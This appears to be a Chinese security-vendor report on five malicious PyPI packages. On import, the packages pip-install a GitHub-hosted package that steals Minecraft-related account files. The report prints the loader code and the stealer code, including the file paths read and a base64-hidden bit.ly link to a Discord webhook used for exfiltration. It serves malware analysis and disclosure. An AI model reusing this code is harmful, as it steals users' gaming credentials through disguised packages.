【天问】PyPI 云端”潜伏者”

2024年2月,天问Python供应链威胁监测模块发现了攻击者开始利用第三方存储库,如GitHub,隐蔽发动攻击的恶意包。攻击者利用pip可以指定软件包下载地址的特性,将带有恶意代码的软件包放置到了云端。而PyPI仓库中的软件包不包含任何恶意攻击指令,这对恶意检测是一个巨大的挑战。

天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块,”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测,发现了大量的恶意包和攻击行为。

1. 云端“潜伏者”

2024年2月,天问Python供应链威胁监测模块发现了PyPI的用户herukomaxi先后发布了5个可疑的软件包,hypixelmchypixelmcapihymcapistartuptoolsdiscordwebconfig。仅从包内的源代码观察,这些软件包与正常包相差无几。但这几个包都有一个共同的特点,他们会从第三方存储库GitHub下载一个新的软件包安装到本地。而这个新的软件包其中包含了信息回传等恶意代码。

我们以hypixelmc这个软件包为例进行分析,如下图所示是这个包的文件结构,其只包含hypixel.py一个代码文件。用户可以通过import进行导入使用该模块。

然而,当进行模块导入时,会触发其中的函数执行,从云端下载一个恶意包到本地安装。具体代码如下所示

hypixelmc/hypixel.py

...

def install_package(repo_url):
    subprocess.run(['pip', 'install', f'git+{repo_url}'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    
def import_or_install_package(package_name, repo_url):
    # Überprüfe, ob das Paket bereits installiert ist
    # 检查包是否已经安装
    spec = importlib.util.find_spec(package_name)
    
    if spec is None:
        # Paket ist nicht installiert, installiere es
        # 软件包未安装,请安装
        install_package(repo_url)
    
    # Importiere das Paket
    # 导入包
    try:
        package = importlib.import_module(package_name)
        return package
    except ImportError:
        return None
      
def main():
    repository_url = 'https://github.com/Maxheruko/hypixelmcapigithub.git'
    package_name = 'hypixelmcapigithub'

    # Importiere oder installiere das Paket
    # 导入或安装包
    installed_package = import_or_install_package(package_name, repository_url)
    ...
    
main()

观察源代码可知,攻击者从https[:]//github.com/Maxheruko/hypixelmcapigithub.git下载安装了第三方包hypixelmcapigithub,然后其导入了使用了该模块

我们找到了GitHub中该仓库对应的源码,其中部分如下所示

hypixelmcapigithub/src/hypixelmcapigithub.py

...

def config_handle(user_ip, user_username, user_os, webhook_url, file1_content, file2_content, file3_content, file4_content):
    ...
    payload = {"content": content}
    requests.post(webhook_url, files=files, data=payload)
    
def bit():
    bit64 = "aHR0cHM6Ly9iaXQubHkvM1NNTkJSeg=="
    bit = base64.b64decode(bit64.encode()).decode('utf-8')
    bit_response = requests.get(bit)
    bit_data = bit_response.json()
    bitu = bit_data["url"]
    return bitu
  
...

def config():
    user_ip, user_username, user_os = get_system_info()
    webhook_url = bit()
    confi1_path = os.path.join(os.path.expanduser("~"), ".lunarclient", "settings", "game", "accounts.json")
    confi2_path = os.path.join(os.path.expanduser("~"), "AppData", "Roaming", ".minecraft", "essential", "microsoft_accounts.json")
    confi3_path = os.path.join(os.path.expanduser("~"), "AppData", "Roaming", ".minecraft","launcher_accounts.json")
    confi4_path = os.path.join(os.path.expanduser("~"), "AppData", "Roaming", ".feather","accounts.json")
    file1_content = get_config(confi1_path)
    file2_content = get_config(confi2_path)
    file3_content = get_config(confi3_path)
    file4_content = get_config(confi4_path)
    config_handle(user_ip, user_username, user_os, webhook_url, file1_content, file2_content, file3_content, file4_content)
    
def main():
    ...
    config()
    ...
    
main()

通过阅读上面源码可知,攻击者读取了Minecraft游戏的配置文件内容,并回传到了一个加密的url。

def bit():
    bit64 = "aHR0cHM6Ly9iaXQubHkvM1NNTkJSeg=="
    bit = base64.b64decode(bit64.encode()).decode('utf-8')
    bit_response = requests.get(bit)
    bit_data = bit_response.json()
    bitu = bit_data["url"]
    return bitu

bit64对应的加密webhook_url解密之后得到一个短链接https[:]//bit.ly/3SMNBRz,如下所示

其中的url字段对应discord的webhook。

目前Minecraft支持微软账号和Mojang账号登录,所以攻击者有可能是想窃取受害者相关账号密码的敏感信息。

2. 事件时间线

该GitHub项目的拥有者在2024年2月2号创建账号,并发布了5个类似的项目。

而我们监控的5个恶意包发布时间如下所示。从下图可知,攻击者在后期开始模仿使用热门软件包的名字来命名以吸引更多人误下载这类恶意包。

其中最后两个恶意包startuptoolsdiscordwebconfig从直接访问GitHub仓库的形式,改为了从codeload.github直接获取项目的压缩包。由此可见,攻击者在不断尝试迭代更新自己的攻击代码。

由于攻击者将真正包含恶意代码的软件包放在的第三方存储库中,所以基于文本的恶意检测无法分析相关内容。当用户导入相关模块时,恶意软件包才会被下载安装,这对恶意检测工作提出了巨大的挑战。

3. 恶意包列表

包名版本作者上传时间
hypixelmc1.0.8herukomaxi2024-02-06 22:36:59
hypixelmcapi1.0.2herukomaxi2024-02-10 16:15:55
hymcapi1.0.0herukomaxi2024-02-11 22:24:54
startuptools1.6.12herukomaxi2024-02-13 12:28:40
discordwebconfig1.5.13herukomaxi2024-02-19 18:29:04

4. 天问软件供应链分析平台

天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块,”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测,发现了大量的恶意包和攻击行为。我们使用动静态结合的方式对于开源生态软件包进行了全方位的监测分析,同时结合天穹沙箱强大的分析能力,“天问”分析平台可以第一时间检测到当前已知攻击及可疑行为。我们也会以技术报告等形式及时更新相关风险,帮助用户规避潜在的风险,努力提升开源生态环境的安全性。